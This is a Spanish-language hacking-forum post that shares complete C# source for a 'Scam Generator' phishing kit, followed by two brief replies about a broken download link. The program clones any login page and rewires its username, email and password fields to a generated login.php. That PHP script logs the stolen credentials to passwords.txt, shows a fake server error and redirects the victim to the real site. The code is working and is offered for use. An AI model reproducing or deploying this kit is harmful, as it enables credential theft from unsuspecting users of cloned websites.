[Codigo C#] Scam Generator by HckDrk

Iniciado por HckDrk, Diciembre 17, 2019, 04:58:36 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Les traigo el código del phishing creator que hice hace un par de años, estaba aprendiendo C# por lo que puede que tenga errores y no sea la mejor forma de hacerlo, si alguien tiene criticas constructivas adelante.

Este es el post original -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.

Código: Csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Diagnostics;
using System.Text.RegularExpressions;


namespace ConsoleApplication3
{
    class Program
    {
        static void Main()
        {
            intro();
            startApp();

        }

        private static string startApp()
        {
            Console.Title = "Scam Generator by HckDrk V. 0.1";
            string url = getUrl();
            string codigo = getCodigo(url);
            saveFile(CodeReplacement(codigo), url);
            return Reset();

        }

        private static string getUrl()
        {
            Console.Write("Enter a URL: ");
            string url = Console.ReadLine();
            Uri uriResult;
            if (Uri.TryCreate(url, UriKind.Absolute, out uriResult) && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))
            {
                return url;
            }
            else
            {
                Console.WriteLine("Error: The url is invalid");
                return getUrl();
            }

        }


        private static String getCodigo(String url)
        {
            try
            {
                HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse miPeticionWeb = (HttpWebResponse)myHttpWebRequest.GetResponse();
                Stream datosRecibidos = miPeticionWeb.GetResponseStream();
                Encoding codificacion = System.Text.Encoding.GetEncoding("utf-8");
                StreamReader readStream = new StreamReader(datosRecibidos, codificacion);

                return (readStream.ReadToEnd());
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e.Message);
                return startApp();
            }


        }

        private static string saveFile(string contenido, string url)
        {
            try
            {
                Console.Write("Enter the name of the file: ");
                string archivo = Console.ReadLine();

                if (archivo.Trim() == "")
                {
                    Console.WriteLine("Error: the name can not be empty");
                    return saveFile(contenido,url);
                }

                string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
                string path_file = desktopPath + "\\hckdrk_download\\";
                string path_file_final = path_file + archivo + "\\";

                verifyFolder(path_file);
                Directory.CreateDirectory(path_file_final);

                string ruta_archivo = path_file_final + archivo + ".html";
                StreamWriter escrito = File.CreateText(ruta_archivo);
                escrito.Write(contenido);
                escrito.Flush();
                escrito.Close();

                string ruta_archivo_php = path_file_final + "login.php";
                StreamWriter php = File.CreateText(ruta_archivo_php);
                php.Write(SetPhp(url));
                php.Flush();
                php.Close();

                Console.WriteLine("File {0}.html saved correctly", archivo);
                Console.WriteLine("File login.php saved correctly");
                openFile(path_file_final);
                return "";
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e.Message);
                return "";
            }


        }

        private static string openFile(string ruta_archivo)
        {

            Console.Write("Do you want to open the container folder? [Y/n]: ");
            string abrir = Console.ReadLine();

            if (abrir == "Y")
            {
                Process.Start(ruta_archivo);
                return "";
            }
            else if (abrir == "n")
            {
                return "";
            }
            else
            {
                Console.WriteLine("Error: Option not valid!");
                return openFile(ruta_archivo);
            }

        }

        private static string verifyFolder(string dir)
        {

            if (!Directory.Exists(dir))
            {
                Console.Write("does not exist directory \"hckdrk_download\", Do you want to create it? [Y/n]: ");
                string crear_dir = Console.ReadLine();

                if (crear_dir == "Y")
                {
                    Directory.CreateDirectory(dir);
                    Console.WriteLine("The directory was created correctly \"hckdrk_download\" at {0}.", Directory.GetCreationTime(dir));
                    return "";
                }
                else if (crear_dir == "n")
                {
                    return startApp();
                }
                else
                {
                    Console.WriteLine("Error: Option not valid!");
                    return verifyFolder(dir);
                }
               
            }
            else
            {
                return "";
            }

        }

        private static string Reset()
        {
            Console.WriteLine("");
            Console.Write("You want to download another page[Y/n]: ");
            string nuevo = Console.ReadLine();

            if (nuevo == "Y")
            {
                return startApp();
            }
            else if (nuevo == "n")
            {
                Console.WriteLine("Thank you. Press any key to exit.");
                Console.WriteLine("So long.");
                Console.ReadKey();
                return "";
            }
            else
            {
                Console.WriteLine("Error: Option not valid!");
                return Reset();
            }
        }

        private static string CodeReplacement(string codigo)
        {
            string pattern = "<input type=\"text\".*? name=\"(.*?)\" .*?>";
            string patternTwo = "<input type=\"password\".*? name=\"(.*?)\" .*?>";
            string patternThree = "<input type=\"email\".*? name=\"(.*?)\" .*?>";

            string patternForm = "<form .*?>";
            //string pattern = "name=\"(.*?)\"";

            string replacement = "hckdrk_user";
            string replacementTwo = "hckdrk_pass";
            string replacementForm = "<form method=\"post\" action=\"login.php\">";


            //return resultFinal;

            MatchCollection matches = Regex.Matches(codigo.Replace("\r\n", ""), pattern);
            MatchCollection matchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo);
            MatchCollection matchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree);

            int numberMatches = Regex.Matches(codigo.Replace("\r\n", ""), pattern).Count;
            int numberOfMatchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo).Count;
            int numberOfMatchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree).Count;

            string codigoino = codigo;
           

            if (numberMatches <= 0)
            {
                Console.WriteLine("operation aborted, input text was not found");
                return startApp();
            }

            if (numberOfMatchesTwo <= 0)
            {
                Console.WriteLine("operation aborted, input password was not found");
                return startApp();
            }

            foreach (Match item in matches)
            {
                //for (int i=0;i<item.Groups.Count;i++) {
                //}
                codigoino = codigoino.Replace("name=\"" + item.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
                Console.WriteLine("Set value input text: \"{0}\" to \"{1}\"", item.Groups[1].Value, replacement);
            }

            string codigodoso = codigoino;

            foreach (Match itemTwo in matchesTwo)
            {
                //for (int i=0;i<item.Groups.Count;i++) {
                //}
                codigodoso = codigodoso.Replace("name=\"" + itemTwo.Groups[1].Value + "\"", "name=\"" + replacementTwo + "\"");
                Console.WriteLine("Set value input password: \"{0}\" to \"{1}\"", itemTwo.Groups[1].Value, replacementTwo);
            }

            string codigothree = codigodoso;

            foreach (Match itemThree in matchesThree)
            {
                //for (int i=0;i<item.Groups.Count;i++) {
                //}
                codigothree = codigothree.Replace("name=\"" + itemThree.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
                Console.WriteLine("Set value input email: \"{0}\" to \"{1}\"", itemThree.Groups[1].Value, replacement);
            }

            Regex rgx = new Regex(patternForm);
            string result = rgx.Replace(codigothree, replacementForm);
            Console.WriteLine("Change <form> to {0}", replacementForm);

            return result;

        }

        private static string SetPhp(string url)
        {

            string codigo = @"<?php
error_reporting(0);
$user=$_POST['hckdrk_user'];
$pass=$_POST['hckdrk_pass'];

@file_put_contents('passwords.txt', 'user: '.$user . ' | Password: '.$pass.PHP_EOL, FILE_APPEND);
echo '<h1>Internal Server Error</h1>Please contact [email protected]';";
            codigo = codigo + "header('Refresh: 5; url = " + url + "', true, 303);";
            codigo = codigo + "?>";
            return codigo;

        }

        private static void intro()
        {
            Console.WriteLine("========================================");
            Console.WriteLine("==      Welcome to Scams Generator    ==");
            Console.WriteLine("==          Powered by HckDrk         ==");
            Console.WriteLine("==      Web Site: http://hckdrk.mx    ==");
            Console.WriteLine("==    Web Site: http://underc0de.org  ==");
            Console.WriteLine("========================================");
            Console.WriteLine(Environment.NewLine);



           
        }


    }
}

El link de tu otro post para bajar el programa, ya no funciona. Una lastima

Enviado desde mi SNE-LX3 mediante Tapatalk


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El link de tu otro post para bajar el programa, ya no funciona. Una lastima

Enviado desde mi SNE-LX3 mediante Tapatalk

Tienes razòn, les pido una disculpa ya que cambiè de servidor y no pasè los archivos al nuevo servidor. Ya he cambiado el enlace al post original. Cuando gustes lo puedes descargar. O tambien lo puedes compilar con el còdigo que he puesto aquì.

Saludos.